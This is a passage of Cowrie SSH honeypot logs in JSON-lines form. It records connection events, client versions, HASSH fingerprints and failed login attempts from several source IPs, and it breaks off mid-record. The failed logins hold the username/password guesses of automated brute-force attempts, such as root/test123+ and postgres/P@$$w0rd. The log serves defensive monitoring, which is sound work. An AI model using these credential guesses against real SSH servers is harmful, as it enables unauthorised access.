{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:32.492012Z","src_ip":"20.82.144.240","session":"96a0cd55dec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Password123","message":"login attempt [git/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:32.793240Z","src_ip":"20.82.144.240","session":"96a0cd55dec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:33.867208Z","src_ip":"20.82.144.240","session":"96a0cd55dec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":40850,"dst_ip":"10.17.0.5","dst_port":22,"session":"fecd028229de","protocol":"ssh","message":"New connection: 87.106.29.151:40850 (10.17.0.5:22) [session: fecd028229de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:54.285079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:54.289762Z","src_ip":"87.106.29.151","session":"fecd028229de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:54.386118Z","src_ip":"87.106.29.151","session":"fecd028229de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"1q2w3e4r5t6y","message":"login attempt [gpadmin/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:54.788972Z","src_ip":"87.106.29.151","session":"fecd028229de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:45:55.885770Z","src_ip":"87.106.29.151","session":"fecd028229de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43766,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdc0a3a6948","protocol":"ssh","message":"New connection: 103.15.226.202:43766 (10.17.0.5:22) [session: 7cdc0a3a6948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:18.710279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:18.714780Z","src_ip":"103.15.226.202","session":"7cdc0a3a6948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:18.970734Z","src_ip":"103.15.226.202","session":"7cdc0a3a6948","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PMGS**56$wx*%*St","message":"login attempt [root/PMGS**56$wx*%*St] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:19.741010Z","src_ip":"103.15.226.202","session":"7cdc0a3a6948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:21.003980Z","src_ip":"103.15.226.202","session":"7cdc0a3a6948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46554,"dst_ip":"159.203.135.109","dst_port":22,"session":"1157313b29cc","protocol":"ssh","message":"New connection: 2.57.122.208:46554 (159.203.135.109:22) [session: 1157313b29cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:22.695537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:22.896770Z","src_ip":"2.57.122.208","session":"1157313b29cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:22.899835Z","src_ip":"2.57.122.208","session":"1157313b29cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:23.938590Z","src_ip":"2.57.122.208","session":"1157313b29cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:25.213744Z","src_ip":"2.57.122.208","session":"1157313b29cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":38370,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2e485cc9e6c","protocol":"ssh","message":"New connection: 20.82.144.240:38370 (159.203.135.109:22) [session: f2e485cc9e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:34.096445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:34.101013Z","src_ip":"20.82.144.240","session":"f2e485cc9e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:34.167759Z","src_ip":"20.82.144.240","session":"f2e485cc9e6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"abc","message":"login attempt [user1/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:34.466277Z","src_ip":"20.82.144.240","session":"f2e485cc9e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:35.536033Z","src_ip":"20.82.144.240","session":"f2e485cc9e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":51716,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac279014e026","protocol":"ssh","message":"New connection: 87.106.29.151:51716 (10.17.0.5:22) [session: ac279014e026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:45.857006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:45.861571Z","src_ip":"87.106.29.151","session":"ac279014e026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:45.955380Z","src_ip":"87.106.29.151","session":"ac279014e026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@$$w0rd","message":"login attempt [postgres/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:46.387440Z","src_ip":"87.106.29.151","session":"ac279014e026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:47.487401Z","src_ip":"87.106.29.151","session":"ac279014e026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":43866,"dst_ip":"10.17.0.5","dst_port":22,"session":"45849b3b5bb8","protocol":"ssh","message":"New connection: 138.124.158.150:43866 (10.17.0.5:22) [session: 45849b3b5bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:51.035007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:51.040320Z","src_ip":"138.124.158.150","session":"45849b3b5bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:51.222149Z","src_ip":"138.124.158.150","session":"45849b3b5bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123+","message":"login attempt [root/test123+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:51.979543Z","src_ip":"138.124.158.150","session":"45849b3b5bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:46:53.162735Z","src_ip":"138.124.158.150","session":"45849b3b5bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":55342,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d6cdf545ff","protocol":"ssh","message":"New connection: 20.82.144.240:55342 (159.203.135.109:22) [session: e8d6cdf545ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:33.278512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:33.283761Z","src_ip":"20.82.144.240","session":"e8d6cdf545ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:33.351519Z","src_ip":"20.82.144.240","session":"e8d6cdf545ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"888888","message":"login attempt [postgres/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:33.652383Z","src_ip":"20.82.144.240","session":"e8d6cdf545ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33814,"dst_ip":"10.17.0.5","dst_port":22,"session":"6abe1cec7eae","protocol":"ssh","message":"New connection: 87.106.29.151:33814 (10.17.0.5:22) [session: 6abe1cec7eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:34.285660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:47:34.290639Z","src_ip":"87.106.29.151","session":"6abe1cec7eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh 